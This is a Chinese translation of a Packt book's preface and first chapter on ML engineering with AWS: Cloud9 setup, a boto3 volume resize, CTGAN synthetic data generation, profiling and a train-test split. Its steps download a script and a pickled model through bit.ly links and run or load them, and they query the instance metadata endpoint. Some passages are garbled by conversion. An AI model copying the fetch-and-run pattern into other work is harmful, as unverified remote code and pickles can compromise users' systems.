AWS-机器学习工程-全-
AWS 机器学习工程(全)
原文:
annas-archive.org/md5/d52abc2b31458517db45c6ac7eac6e91
译者:飞龙
前言
随着机器学习(ML)工程需求的专业人士以及那些了解在云中自动化复杂MLOps管道的人越来越多,对这类专业人士的需求也在不断增长。本书探讨了各种 AWS 服务,例如Amazon Elastic Kubernetes Service、AWS Glue、AWS Lambda、Amazon Redshift和AWS Lake Formation,这些服务可以帮助机器学习从业者满足生产中的各种数据工程和机器学习工程需求。
这本机器学习书籍涵盖了基本概念以及旨在帮助您深入了解如何在云中管理和保护机器学习工作负载的逐步指导。随着您逐步阅读各章节,您将发现如何在 AWS 上使用各种容器和无服务器解决方案来训练和部署TensorFlow和PyTorch深度学习模型。您还将深入了解在探索每个 AWS 的最佳实践时,如何详细探讨经过验证的成本优化技术以及数据隐私和模型隐私保护策略。
在阅读完这本 AWS 书籍之后,您将能够构建、扩展并保护您自己的机器学习系统和管道,这将为您使用各种 AWS 服务来构建满足机器学习工程需求的定制解决方案提供所需的经验和信心。
本书面向的对象
本书面向的是对在生产数据工程、机器学习工程和 MLOps 需求中使用各种 AWS 服务(如Amazon EC2、Amazon Elastic Kubernetes Service(EKS)、Amazon SageMaker、AWS Glue、Amazon Redshift、AWS Lake Formation和AWS Lambda)感兴趣的机器学习工程师、数据科学家和 AWS 云工程师——您只需一个 AWS 账户即可开始。对 AWS、机器学习和 Python 编程语言的了解将帮助您更有效地掌握本书中涵盖的概念。
本书涵盖的内容
第一章,AWS 上的机器学习工程简介,专注于帮助您快速设置环境,理解关键概念,并通过几个简化的 AutoML 示例快速入门。
第二章,深度学习 AMI,介绍了 AWS 深度学习 AMI 及其如何帮助机器学习从业者更快地在 EC2 实例内执行机器学习实验。在这里,我们还将深入探讨 AWS 如何为 EC2 实例定价,以便您更好地了解如何优化和降低在云中运行机器学习工作负载的整体成本。
第三章,深度学习容器,介绍了 AWS 深度学习容器及其如何帮助机器学习从业者使用容器更快地执行机器学习实验。在这里,我们还将利用 Lambda 的容器镜像支持,在 AWS Lambda 函数内部署一个训练好的深度学习模型。
第四章,AWS 上的无服务器数据管理,介绍了用于在 AWS 上管理和查询数据的几个无服务器解决方案,例如 Amazon Redshift Serverless 和 AWS Lake Formation。
第五章,实用数据处理和分析,专注于在处理数据和分析需求时可用不同的服务,例如 AWS Glue DataBrew 和 Amazon SageMaker Data Wrangler。
第六章,SageMaker 训练和调试解决方案,介绍了使用 Amazon SageMaker 训练 ML 模型时可用不同的解决方案和能力。在这里,我们将更深入地探讨在 SageMaker 中训练和调整 ML 模型的不同选项和策略。
第七章,SageMaker 部署解决方案,专注于在 AWS 平台上执行 ML 推理时的相关部署解决方案和策略。
第八章,模型监控和管理解决方案,介绍了在 AWS 上可用的不同监控和管理解决方案。
第九章,安全、治理和合规策略,专注于确保生产环境所需的相关安全、治理和合规策略。在这里,我们还将更深入地探讨确保数据隐私和模型隐私的不同技术。
第十章,在 Amazon EKS 上使用 Kubeflow 的机器学习管道,专注于使用 Kubeflow Pipelines、Kubernetes 和 Amazon EKS 在 AWS 上部署自动化的端到端 MLOps 管道。
第十一章,使用 SageMaker Pipelines 的机器学习管道,专注于使用 SageMaker Pipelines 设计和构建自动化的端到端 MLOps 管道。在这里,我们将应用、组合和连接我们在本书前几章中学到的不同策略和技术。
为了充分利用本书
为了完成本书中的动手解决方案,您需要一个 AWS 账户和一个稳定的互联网连接。如果您还没有 AWS 账户,请随意查看AWS 免费层页面并点击创建免费账户:aws.amazon.com/free/
。
本书涵盖的软件/硬件 | 操作系统要求 |
---|---|
支持的软件/硬件 | 操作系统要求 |
如果您正在使用本书的数字版,我们建议您自己输入代码或从 本书的 GitHub 仓库(下一节中有一个链接) 访问代码。这样做将帮助您避免与代码复制和粘贴相关的任何潜在错误。
下载示例代码文件
您可以从 GitHub 下载本书的示例代码文件github.com/PacktPublishing/Machine-Learning-Engineering-on-AWS
。如果代码有更新,它将在 GitHub 仓库中更新。
我们还有其他来自我们丰富的书籍和视频目录的代码包,可在 github.com/PacktPublishing/
获取。查看它们吧!
下载彩色图像
我们还提供了一份包含本书中使用的截图/图表的彩色图像的 PDF 文件。您可以从这里下载:packt.link/jeBII
。
使用的约定
本书中使用了多种文本约定。
文本中的代码
:表示文本中的代码单词、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 昵称。以下是一个示例:“ENTRYPOINT
设置为 /opt/conda/bin/python -m awslambdaric
。然后 CMD
命令设置为 app.handler
。ENTRYPOINT
和 CMD
指令定义了容器启动时执行哪个命令。”
代码块设置如下:
SELECT booking_changes, has_booking_changes, *
FROM dev.public.bookings
WHERE
(booking_changes=0 AND has_booking_changes='True')
OR
(booking_changes>0 AND has_booking_changes='False');
当我们希望您注意代码块中的特定部分时,相关的行或项目将以粗体显示:
---
apiVersion: eksctl.io/v1alpha5
kind: ClusterConfig
metadata:
name: kubeflow-eks-000
region: us-west-2
version: "1.21"
availabilityZones: ["us-west-2a", "us-west-2b", "us-west-2c", "us-west-2d"]
managedNodeGroups:
- name: nodegroup
desiredCapacity: 5
instanceType: m5.xlarge
ssh:
enableSsm: true
粗体:表示新术语、重要单词或您在屏幕上看到的单词。例如,菜单或对话框中的单词以粗体显示。以下是一个示例:“点击 FILTER 按钮后,应出现下拉菜单。在 条件 下的选项列表中找到并选择 大于等于。这应该更新页面右侧的面板,并显示 过滤器值 操作的配置选项列表。”
小贴士或重要提示
看起来像这样。
联系我们
我们始终欢迎读者的反馈。
一般反馈:如果您对本书的任何方面有疑问,请在邮件主题中提及书名,并通过 customercare@packtpub.com 发送电子邮件给我们。
勘误表:尽管我们已经尽最大努力确保内容的准确性,但错误仍然可能发生。如果您在这本书中发现了错误,如果您能向我们报告,我们将不胜感激。请访问 www.packtpub.com/support/errata,选择您的书籍,点击勘误提交表单链接,并输入详细信息。
盗版:如果您在互联网上以任何形式遇到我们作品的非法副本,如果您能提供位置地址或网站名称,我们将不胜感激。请通过 copyright@packt.com 与我们联系,并提供材料的链接。
如果您有兴趣成为作者:如果您在某个领域有专业知识,并且您有兴趣撰写或为书籍做出贡献,请访问 authors.packtpub.com。
分享您的想法
一旦您阅读了 AWS 上的机器学习工程,我们很乐意听到您的想法!请点击此处直接进入此书的亚马逊评论页面 并分享您的反馈。
您的审阅对我们和科技社区都至关重要,并将帮助我们确保我们提供高质量的内容。
第一部分:在 AWS 上开始机器学习工程
在本节中,读者将了解 AWS 上的机器学习工程世界。
本节包含以下章节:
-
第一章, AWS 机器学习工程简介
-
第二章, 深度学习 AMI
-
第三章, 深度学习容器
第一章:AWS 上的机器学习工程简介
我们大多数人都是通过在笔记本电脑或家用电脑上使用样本数据集训练第一个机器学习模型(机器学习,ML)来开始我们的机器学习之旅的。事情在需要处理大量数据集并在云中运行我们的机器学习实验之前相对简单。一旦我们需要将我们的训练模型部署到生产级别的推理端点或网络服务器,这也会变得更加具有挑战性。在设计构建机器学习系统时有很多事情要考虑,这些只是数据科学家和机器学习工程师在处理现实需求时面临的一些挑战。话虽如此,我们在云中进行机器学习实验和部署时,必须使用正确的平台,以及正确的一套工具。
在这一点上,你可能想知道为什么我们甚至需要使用云平台来运行我们的工作负载。难道我们不能自己构建这个平台吗?也许你可能会想,建立和运营自己的数据中心相对容易。在过去,不同的团队和公司试图在他们的数据中心和本地硬件上设置基础设施。随着时间的推移,这些公司开始将他们的工作负载迁移到云中,因为他们意识到管理和运营数据中心是多么困难和昂贵。一个很好的例子是 Netflix 团队,他们将资源迁移到了 AWS 云。迁移到云使他们能够更好地扩展,并显著提高了服务可用性。
亚马逊网络服务(AWS)平台为全球的专业人士和企业提供了大量的服务和功能,可以用来在云中管理不同类型的工作负载。在过去几年中,AWS 宣布并发布了许多服务和功能,这些服务和功能可以用于生产级别的机器学习实验和部署。这是由于全球机器学习工作负载迁移到云中的增加。随着我们阅读本书中的每一章,我们将更好地了解如何使用不同的服务来解决在生产中部署机器学习模型时的挑战。
下面的图表显示了本章的动手实践之旅:
图 1.1 – 本章的动手实践之旅
在本章的入门部分,我们将通过在 AWS 上构建机器学习模型时尝试不同的选项来“湿脚”。如图所示,我们将使用各种 AutoML 服务和解决方案来构建可以帮助我们根据可用信息预测酒店预订是否会取消的机器学习模型。我们将首先设置一个 Cloud9 环境,这将帮助我们通过浏览器中的 集成开发环境(IDE)运行我们的代码。在这个环境中,我们将使用名为 Conditional Generative Adversarial Network 的 深度学习 模型生成一个真实的合成数据集。我们将使用 AWS CLI 将此数据集上传到 Amazon S3。在 Cloud9 环境中,我们还将安装 AutoGluon 并运行一个 AutoML 实验,使用合成数据集训练和生成多个模型。最后,我们将使用 SageMaker Canvas 和 SageMaker Autopilot 在 S3 上运行使用上传数据集的 AutoML 实验。如果你想知道这些术语是什么意思,请继续阅读,我们将在本章中揭示每个术语的奥秘。
本章将涵盖以下主题:
-
机器学习工程师的期望是什么?
-
如何让机器学习工程师充分利用 AWS
-
必要的先决条件
-
准备数据集
-
使用 AutoGluon 进行 AutoML
-
开始使用 SageMaker 和 SageMaker Canvas
-
使用 SageMaker Canvas 进行无代码机器学习
-
使用 SageMaker Autopilot 进行 AutoML
除了使用关键机器学习服务、库和工具进行 AutoML 实验“湿脚”之外,本章入门部分还将帮助我们更好地理解几个与本书后续章节相关的机器学习和机器学习工程概念。考虑到这一点,让我们开始吧!
技术要求
在我们开始之前,我们必须有一个 AWS 账户。如果您还没有 AWS 账户,请在此处创建一个账户:aws.amazon.com/free/
。一旦账户准备好,您就可以进行下一步了。
每一章的 Jupyter 笔记本、源代码和其他文件都可以在这个书的 GitHub 仓库中找到:github.com/PacktPublishing/Machine-Learning-Engineering-on-AWS
.
机器学习工程师的期望是什么?
机器学习工程涉及使用机器学习和 软件工程 概念和技术来设计、构建和管理生产级机器学习系统,以及管道。在一个致力于构建机器学习应用程序的团队中,机器学习工程师 通常被期望构建和运营用于训练和部署模型的机器学习基础设施。在某些情况下,数据科学家可能还需要处理与基础设施相关的要求,特别是在组织内部机器学习工程师和数据科学家的角色和责任没有明确划分的情况下。
当设计和构建机器学习系统和平台时,机器学习工程师应该考虑几个因素。这包括部署的机器学习模型的质量,以及所使用的机器学习基础设施的安全性、可扩展性、可进化性、稳定性和总体成本。在这本书中,我们将讨论实现机器学习工程师不同目标的策略和最佳实践。
机器学习工程师还应该能够使用各种解决方案设计和构建自动化的机器学习工作流程。部署的模型会随着时间的推移而退化,模型重新训练对于确保部署的机器学习模型的质量变得至关重要。拥有自动化的机器学习管道有助于实现自动化的模型重新训练和部署。
重要提示
如果你热衷于学习如何在 AWS 上构建定制的机器学习管道,那么你应该查看这本书的最后一部分:设计和构建端到端 MLOps 管道。你应该会找到几个章节专门讨论如何在 AWS 上部署复杂的机器学习管道!
机器学习工程师如何充分利用 AWS
AWS 平台中有许多服务和功能,机器学习工程师可以选择。已经熟悉使用虚拟机的专业人士可以轻松启动EC2实例,并在这些虚拟私有服务器内部使用深度学习框架运行机器学习实验。例如,AWS Glue、Amazon EMR和AWS Athena等服务可以被机器学习工程师和数据工程师用于不同的数据管理和处理需求。一旦机器学习模型需要部署到专用的推理端点,就会有各种选择:
图 1.2 – AWS 机器学习堆栈
如前图所示,数据科学家、开发人员和机器学习工程师可以利用AWS 机器学习堆栈中的多个服务和功能。在AI 服务下分组的服务可以很容易地被具有最少机器学习经验的开发者使用。要使用这里列出的服务,我们只需要一些与数据工作的经验,以及使用 SDK 和 API 所需的软件开发技能。如果我们想快速构建具有语言翻译、文本到语音和产品推荐等功能的机器学习应用程序,那么我们可以很容易地使用 AI 服务桶下的服务。中间部分是机器学习服务及其功能,这些功能有助于解决数据科学家和机器学习工程师更定制的机器学习需求。要使用这里列出的服务和功能,需要对机器学习过程有一个扎实的理解。最外层是机器学习框架和基础设施,它提供了最高级别的灵活性和可定制性,因为它包括更高级用例所需的机器学习基础设施和框架支持。
那么,机器学习工程师如何充分利用 AWS 机器学习堆栈呢?随着他们对 AWS 平台中可用的服务、功能和工具越来越熟悉,机器学习工程师设计、构建和管理机器学习系统的能力也会提高。他们可能从 AI 服务开始,快速在 AWS 上构建 AI 应用程序。随着时间的推移,这些机器学习工程师将利用底层两个不同层的服务、功能和基础设施,因为他们越来越擅长处理中级机器学习工程需求。
必要的先决条件
在本节中,我们将准备以下内容:
-
Cloud9 环境
-
S3 存储桶
-
将使用深度学习模型生成的合成数据集
让我们开始吧。
创建 Cloud9 环境
在虚拟私有服务器内部执行机器学习实验时,更方便的选项之一是使用AWS Cloud9服务。AWS Cloud9 允许开发人员、数据科学家和机器学习工程师使用浏览器在开发环境中管理和运行代码。代码存储和执行在 EC2 实例内部,这提供了一个与大多数开发人员相似的环境。
重要提示
建议在运行本书中的示例时使用具有有限权限的身份和访问管理(IAM)用户,而不是 root 账户。我们将在第九章**,安全、治理和合规策略中详细讨论这一点,以及其他安全最佳实践。如果你刚开始使用 AWS,你可以暂时使用 root 账户。
按照以下步骤创建一个 Cloud9 环境,我们将在此生成合成数据集并运行AutoGluon AutoML实验:
- 在搜索栏中输入
cloud9
。从结果列表中选择Cloud9:
图 1.3 – 导航到 Cloud9 控制台
在这里,我们可以看到区域当前设置为us-west-2
)。请确保您将其更改为您希望创建资源的位置。
-
接下来,点击创建环境。
-
在
mle-on-aws
)下点击下一步。 -
在环境类型下,选择为环境创建新的 EC2 实例(直接访问)。对于实例类型选择m5.large,然后对于平台选择Ubuntu Server (18.04 LTS):
图 1.4 – 配置 Cloud9 环境设置
在这里,我们可以看到实例类型还有其他选项。同时,我们将坚持使用m5.large,因为它应该足以运行本章的手动解决方案。
-
对于节省成本设置选项,从下拉列表中选择四小时后。这意味着运行 Cloud9 环境的服务器将在 4 小时不活动后自动关闭。
-
在
vpc-abcdefg (默认)
下。对于subnet-abcdefg | Default in us-west-2a
。
重要提示
建议您使用默认的 VPC,因为网络配置很简单。这将帮助您避免问题,尤其是如果您刚开始使用 VPC。如果在启动 Cloud9 实例时遇到任何与 VPC 相关的问题,您可能需要检查所选子网是否已在 VPC 控制台的路由表配置中配置了互联网访问。您可以使用另一个子网或完全使用新的 VPC 重试启动实例。如果您计划创建新的 VPC,请导航至go.aws/3sRSigt
并创建一个具有单个公共子网的 VPC。如果这些选项都不起作用,您可能需要在另一个区域启动 Cloud9 实例。我们将在第九章**,安全、治理和合规策略中详细讨论虚拟专用网络(VPC)网络。
-
点击下一步。
-
在审查页面上,点击创建环境。这应该会将您重定向到 Cloud9 环境,该环境可能需要一分钟或更长时间来加载。Cloud9 IDE如以下截图所示。这是我们编写代码和运行脚本以及执行工作于本书中一些动手解决方案所需的命令的地方:
图 1.5 – AWS Cloud9 界面
使用这个 IDE 相当简单,因为它看起来非常类似于代码编辑器,如Visual Studio Code和Sublime Text。如图所示,我们可以在顶部找到菜单栏(A)。文件树可以在左侧找到(B)。编辑器占据了屏幕中间的大部分区域(C)。最后,我们可以在底部找到终端(D)。
重要提示
如果这是您第一次使用 AWS Cloud9,这里有一个 AWS 提供的 4 分钟入门视频,可以帮助您开始:www.youtube.com/watch?v=JDHZOGMMkj8
。
现在我们已经准备好了 Cloud9 环境,是时候配置更大的存储空间了。
增加 Cloud9 的存储空间
当创建 Cloud9 实例时,附加的卷最初只有 10GB 的磁盘空间。鉴于我们将在该实例中运行 ML 实验并安装不同的库和框架,我们需要超过 10GB 的磁盘空间。我们将使用boto3
库以编程方式调整卷大小。
重要提示
如果这是您第一次使用boto3
库,它是AWS SDK for Python,它为我们提供了一种以编程方式管理我们 AWS 账户中不同 AWS 资源的方法。这是一个服务级别的 SDK,它帮助我们列出、创建、更新和删除 AWS 资源,如 EC2 实例、S3 存储桶和 EBS 卷。
按照以下步骤下载并运行一些脚本,将卷磁盘空间从 10GB 增加到 120GB:
-
在我们的 Cloud9 环境终端中(屏幕底部的
$
符号之后),运行以下 bash 命令:wget -O resize_and_reboot.py https://bit.ly/3ea96tW
这将下载位于bit.ly/3ea96tW
的脚本文件。在这里,我们只是使用了一个 URL 缩短器,它将缩短的链接映射到raw.githubusercontent.com/PacktPublishing/Machine-Learning-Engineering-on-AWS/main/chapter01/resize_and_reboot.py
。
重要提示
注意,我们在使用wget
命令时使用的是大写O
标志,而不是小写o
或零(0
)。
- 我们刚刚下载的文件里有什么?在我们运行脚本之前,让我们快速检查一下文件。双击文件树(位于屏幕左侧)中的
resize_and_reboot.py
文件,在编辑器窗格中打开 Python 脚本文件。如图所示,resize_and_reboot.py
脚本有三个主要部分。第一段代码专注于导入运行脚本所需的先决条件。第二段代码专注于使用boto3
库调整所选 EC2 实例的卷大小。它使用describe_volumes()
方法获取当前实例的卷 ID,然后使用modify_volume()
方法将卷大小更新为 120GB。最后一部分涉及一行代码,该代码简单地重启 EC2 实例。此行代码使用os.system()
方法运行sudo reboot
shell 命令:
图 1.6 – resize_and_reboot.py
脚本文件
您可以在本书的 GitHub 仓库中找到resize_and_reboot.py
脚本文件:github.com/PacktPublishing/Machine-Learning-Engineering-on-AWS/blob/main/chapter01/resize_and_reboot.py
。请注意,为了使此脚本正常工作,必须将EC2_INSTANCE_ID
环境变量设置为选择正确的目标实例。我们将在运行resize_and_reboot.py
脚本之前设置此环境变量。
-
接下来,在终端中运行以下命令:
python3 -m pip install --user --upgrade boto3
这将使用pip
升级boto3
的版本。
重要提示
如果这是您第一次使用pip
,它是 Python 的包安装程序。它使得使用命令行安装不同的包和库变得方便。
您可以使用python3 -m pip show boto3
来检查您正在使用的版本。本书假设您正在使用1.20.26
或更高版本。
-
剩余的语句专注于从实例元数据服务获取 Cloud9 环境的
instance_id
并将其存储在EC2_INSTANCE_ID
变量中。让我们在终端中运行以下命令:TARGET_METADATA_URL=http://169.254.169.254/latest/meta-data/instance-id
export EC2_INSTANCE_ID=$(curl -s $TARGET_METADATA_URL)
echo $EC2_INSTANCE_ID
这应该给我们一个格式类似于i-01234567890abcdef
的 EC2 实例 ID。
-
现在我们已经将
EC2_INSTANCE_ID
环境变量设置为适当的值,我们可以运行以下命令:python3 resize_and_reboot.py
这将使用wget
命令运行我们之前下载的 Python 脚本。在用boto3
执行卷大小调整操作后,脚本将重启实例。当 Cloud9 环境的 EC2 实例正在重启时,您应该在页面顶部看到正在重新连接…的通知。
重要提示
实例重启后,您可以自由运行lsblk
命令。这应该有助于您验证 Cloud9 环境实例的卷已调整为 120GB。
现在我们已成功将卷大小调整为 120GB,我们应该能够在不担心 Cloud9 环境内部磁盘空间问题的前提下,继续处理下一组解决方案。
安装 Python 必备组件
按照以下步骤在 Cloud9 环境中安装和更新几个 Python 包:
-
在我们的 Cloud9 环境终端(屏幕底部的
$
符号之后),运行以下命令以更新pip
、setuptools
和wheel
:python3 -m pip install -U pip
python3 -m pip install -U setuptools wheel
升级这些版本将帮助我们确保其他安装步骤能够顺利执行。本书假设您正在使用以下版本或更高版本:pip
– 21.3.1
、setuptools
– 59.6.0
和wheel
– 0.37.1
。
重要提示
要检查版本,您可以在终端中使用python3 -m pip show <package>
命令。只需将<package>
替换为包的名称。例如,可以使用python3 -m pip show wheel
。如果您想安装特定版本的包,可以使用python3 -m pip install -U <package>==<version>
。例如,如果您想安装wheel
版本0.37.1
,可以运行python3 -m pip install -U wheel==0.37.1
。
-
接下来,通过运行以下命令安装
ipython
。IPython提供许多实用的工具,帮助专业人士交互式地使用 Python。我们将在执行第一个 AutoGluon AutoML 实验部分中看到使用 IPython 有多简单:python3 -m pip install ipython
本书假设您正在使用ipython
– 7.16.2
或更高版本。
-
现在,让我们安装
ctgan
。CTGAN 允许我们利用生成对抗网络(GAN)深度学习模型来生成合成数据集。我们将在安装 Python 必备组件后,在使用深度学习模型生成合成数据集部分中简要讨论这一点:python3 -m pip install ctgan==0.5.0
本书假设您正在使用ctgan
– 0.5.0
。
重要提示
此步骤可能需要大约 5 到 10 分钟才能完成。在等待期间,让我们谈谈 CTGAN 是什么。CTGAN是一个开源库,它使用深度学习来了解现有数据集的特性,并生成一个具有与原始数据集相似列、值和特性的新数据集。有关更多信息,请随时查看其 GitHub 页面:github.com/sdv-dev/CTGAN
。
-
最后,通过运行以下命令安装
pandas_profiling
。这使我们能够轻松地为我们的数据集生成一个概要报告,这将有助于我们进行探索性数据分析(EDA)工作。我们将在生成合成数据集后,在探索性数据分析部分看到这一功能:python3 -m pip install pandas_profiling
本书假设您正在使用pandas_profiling
– 3.1.0
或更高版本。
现在我们已经完成了 Python 必备条件的安装,我们可以开始使用深度学习模型生成逼真的合成数据集了!
准备数据集
在本章中,我们将构建多个机器学习模型,这些模型将根据可用信息预测酒店预订是否会取消。酒店取消给酒店业主和管理者带来了很多问题,因此尝试预测哪些预订会被取消是运用我们的机器学习技能的好方法。
在我们开始进行机器学习实验之前,我们需要一个可以用于训练我们的机器学习模型的数据库。我们将生成一个类似于Nuno Antonio、Ana de Almeida和Luis Nunes的酒店预订需求数据集的逼真合成数据集。
合成数据集将包含总共 21 列。以下是一些列的示例:
-
is_cancelled
: 指示酒店预订是否被取消 -
lead_time
: [到达日期] – [预订日期] -
adr
: 平均每日房价 -
adults
: 成人数量 -
days_in_waiting_list
: 预订在确认前在等待名单上停留的天数 -
assigned_room_type
: 分配的房间类型 -
total_of_special_requests
: 客户提出的特殊请求总数
我们不会详细讨论每个字段,但这应该有助于我们了解我们可以使用哪些数据。更多信息,您可以在www.kaggle.com/jessemostipak/hotel-booking-demand
和www.sciencedirect.com/science/article/pii/S2352340918315191
找到该数据集的原始版本。
使用深度学习模型生成合成数据集
机器学习的一个酷应用就是让一个深度学习模型“吸收”现有数据集的特性,并生成一个具有相似字段和特性的新数据集。我们将使用预训练的生成对抗网络(GAN)模型来生成合成数据集。
重要提示
生成建模涉及从输入数据集的值中学习模式,然后使用这些模式生成一个具有相似值的新数据集。GANs 在生成建模中很受欢迎。例如,研究论文已经关注 GANs 如何被用来生成“deepfakes”,即从源数据集中生成逼真的人类图像。
生成和使用合成数据集有很多好处,包括以下内容:
-
能够生成比用于训练模型的原始数据集更大的数据集的能力
-
能够匿名化原始数据集中任何敏感信息的能力
-
在数据生成后能够拥有一个更干净的数据集版本
话虽如此,让我们通过在 Cloud9 环境的终端中运行以下命令来开始生成合成数据集(屏幕底部的 $
符号之后):
-
从 安装 Python 先决条件 部分的我们停止的地方继续,运行以下命令以在当前工作目录中创建一个名为
tmp
的空目录:mkdir -p tmp
注意,这与 /tmp
目录不同。
-
接下来,让我们使用
wget
命令下载utils.py
文件:wget -O utils.py https://bit.ly/3CN4owx
utils.py
文件包含 block()
函数,这将帮助我们阅读和调试脚本生成的日志。
-
运行以下命令将预构建的 GAN 模型下载到 Cloud9 环境:
wget -O hotel_bookings.gan.pkl https://bit.ly/3CHNQFT
在这里,我们有一个包含深度学习模型属性的序列化 pickle 文件。
重要提示
存储和加载 ML 模型有多种方式。其中一种选择是使用 Pickle 模块将 Python 对象序列化并存储在文件中。该文件可以稍后加载并反序列化为具有类似属性集的 Python 对象。
-
使用
touch
命令创建一个空的data_generator.py
脚本文件:touch data_generator.py
重要提示
在继续之前,请确保 data_generator.py
、hotel_bookings.gan.pkl
和 utils.py
文件位于同一目录中,以便合成数据生成器脚本能够正常工作。
-
双击文件树中的
data_generator.py
文件(位于 Cloud9 环境的左侧)以在编辑器面板中打开空的 Python 脚本文件。 -
将以下代码行添加到脚本中,以导入运行脚本所需的先决条件:
from ctgan import CTGANSynthesizer
from pandas_profiling import ProfileReport
from utils import block, debug
-
接下来,让我们添加以下代码行以加载预训练的 GAN 模型:
with block('LOAD CTGAN'):
pkl = './hotel_bookings.gan.pkl'
gan = CTGANSynthesizer.load(pkl)
print(gan.__dict__)
-
在终端中运行以下命令(屏幕底部的
$
符号之后)以测试脚本中的初始代码块是否按预期工作:python3 data_generator.py
这应该会给我们一组类似于以下截图所示的日志:
图 1.7 – 脚本成功加载的 GAN 模型
在这里,我们可以看到使用 CTGANSynthesizer.load()
方法成功加载了预训练的 GAN 模型。我们还可以看到 block
(来自我们之前下载的 utils.py
文件)是如何提高我们日志的可读性的。它只是帮助标记代码块执行的开始和结束,这样我们就可以轻松调试脚本。
-
让我们回到编辑器面板(我们在这里编辑
data_generator.py
)并添加以下代码行:with block('GENERATE SYNTHETIC DATA'):
synthetic_data = gan.sample(10000)
print(synthetic_data)
当我们稍后运行脚本时,这些代码行将生成 10000
条记录并将它们存储在 synthetic_data
变量中。
-
接下来,让我们添加以下代码块,它将生成的数据保存到
tmp
目录内的 CSV 文件中:with block('SAVE TO CSV'):
target_location = "tmp/bookings.all.csv"
print(target_location)
synthetic_data.to_csv(
target_location,
index=False
)
-
最后,让我们添加以下几行代码来完成脚本:
with block('GENERATE PROFILE REPORT'):
profile = ProfileReport(synthetic_data)
target_location = "tmp/profile-report.xhtml"
profile.to_file(target_location)
这段代码将分析合成数据集并生成一个配置报告,以帮助我们分析数据集的特性。
重要提示
你可以在这里找到 data_generator.py
文件的副本:github.com/PacktPublishing/Machine-Learning-Engineering-on-AWS/blob/main/chapter01/data_generator.py
。
-
一切准备就绪后,让我们在终端中运行以下命令(屏幕底部的
$
符号右侧):python3 data_generator.py
脚本完成应该需要大约一分钟的时间。运行脚本应该会给我们一组类似于以下截图所示的日志:
图 1.8 – 由 data_generator.py 生成的日志
如我们所见,运行 data_generator.py
脚本会生成多个日志块,这应该使我们能够轻松阅读和调试脚本运行时的操作。除了加载 CTGAN 模型外,脚本还将使用深度学习模型(tmp
目录中的 tmp/bookings.all.csv
)生成合成数据集(pandas_profiling
(C)。
难道不是很容易吗?在进入下一节之前,请随意使用文件树(位于屏幕底部的 $
符号左侧的 Cloud9 环境中)来检查存储在 tmp
目录中的生成的文件。
探索性数据分析
到目前为止,我们应该有一个包含 10000
行的合成数据集。你可能想知道我们的数据看起来像什么。我们的数据集是否包含无效值?我们是否需要担心缺失的记录?在我们进行任何模型训练工作之前,我们必须对我们的数据集有一个很好的理解,因为我们可能需要先清理和处理数据。EDA 是在分析数据集以用于训练机器学习模型之前的关键步骤。有不同方式来分析数据集并生成报告——使用 pandas_profiling
是执行 EDA 的更快方式之一。
话虽如此,让我们检查由 pandas_profiling
Python 库生成的报告。在文件树(位于 Cloud9 环境左侧)中右键单击 tmp/profile-report.xhtml
,然后从选项列表中选择 预览。我们应该找到一个类似于以下报告:
图 1.9 – 生成的报告
报告包含多个部分:概述、变量、交互、相关性、缺失值和样本。在概述部分,我们可以找到数据集统计信息和变量类型的快速总结。这包括变量的数量、记录(观测)的数量、缺失单元格的数量、重复行的数量以及其他相关统计信息。在变量部分,我们可以找到数据集中每个变量(列)的统计信息和值分布。在交互和相关性部分,我们可以看到关于数据集中变量潜在关系的不同模式和观察。在缺失值部分,我们可以看到是否有需要我们注意的缺失值的列。最后,在样本部分,我们可以看到数据集的前 10 行和最后 10 行。
在进入下一节之前,请随意阅读报告。
训练-测试集划分
现在我们已经完成了 EDA(探索性数据分析),接下来我们做什么?假设我们的数据是干净的,并且已经准备好进行模型训练,我们是否直接使用生成的 10,000 条记录来训练和构建我们的机器学习模型?在我们训练二元分类器模型之前,我们必须将我们的数据集划分为训练集和测试集:
图 1.10 – 训练-测试集划分
如我们所见,训练集用于在训练阶段构建模型并更新其参数。然后,测试集用于评估模型在之前未见过的数据上的最终版本。这里没有展示的是验证集,它用于在模型训练阶段评估模型以微调超参数。在实践中,将数据集划分为训练集、验证集和测试集的比例通常在60:20:20左右,其中训练集获得大部分记录。在本章中,我们不再需要将训练集进一步划分为更小的训练集和验证集,因为 AutoML 工具和服务将自动为我们完成这项工作。
重要提示
在继续本节的手动解决方案之前,我们必须了解超参数和参数的概念。y = m * x
,其中m
是参数,x
是单个预测变量,y
是目标变量。例如,如果我们正在测试取消(y
)与收入(x
)之间的关系,那么m
是定义这种关系的参数。如果m
为正,随着收入的增加,取消也会增加。如果它是负的,随着收入的增加,取消会减少。另一方面,超参数是在模型训练之前可配置的值,这些值会影响我们选择的机器学习模型如何“建模”关系。每个机器学习模型都有自己的超参数集,这取决于使用的算法。一旦我们查看更多示例,这些概念就会更加清晰,例如在第二章 AWS 上的机器学习工程和第三章 深度学习容器。
现在,让我们创建一个脚本,帮助我们执行训练-测试分割:
-
在我们的 Cloud9 环境的终端中(屏幕底部的
$
符号之后),运行以下命令以创建一个名为train_test_split.py
的空文件:touch train_test_split.py
-
使用文件树(位于 Cloud9 环境的左侧),双击
train_test_split.py
文件以在编辑器面板中打开文件。 -
在编辑器面板中,添加以下代码行以导入运行脚本所需的先决条件:
import pandas as pd
from utils import block, debug
from sklearn.model_selection import train_test_split
-
添加以下代码块,它将读取 CSV 文件的内容并将其存储在
DataFrame
中:with block('LOAD CSV'):
generated_df = pd.read_csv('tmp/bookings.all.csv')
-
接下来,让我们使用 scikit-learn 中的
train_test_split()
函数将我们生成的数据集划分为训练集和测试集:with block('TRAIN-TEST SPLIT'):
train_df, test_df = train_test_split(
generated_df,
test_size=0.3,
random_state=0
)
print(train_df)
print(test_df)
-
最后,添加以下代码行以将训练集和测试集分别保存到
tmp
目录中的相应 CSV 文件中:with block('SAVE TO CSVs'):
train_df.to_csv('tmp/bookings.train.csv',
index=False)
test_df.to_csv('tmp/bookings.test.csv',
index=False)
重要提示
你可以在这里找到train_test_split.py
文件的副本:github.com/PacktPublishing/Machine-Learning-Engineering-on-AWS/blob/main/chapter01/train_test_split.py
。
-
现在我们已经完成了脚本文件,让我们在终端中运行以下命令(屏幕底部的
$
符号之后):python3 train_test_split.py
这应该会生成一组类似于以下截图所示的日志:
图 1.11 – 训练-测试分割日志
在这里,我们可以看到我们的训练数据集包含 7,000 条记录,而测试集包含 3,000 条记录。
通过这种方式,我们可以将我们的数据集上传到Amazon S3。
将数据集上传到 Amazon S3
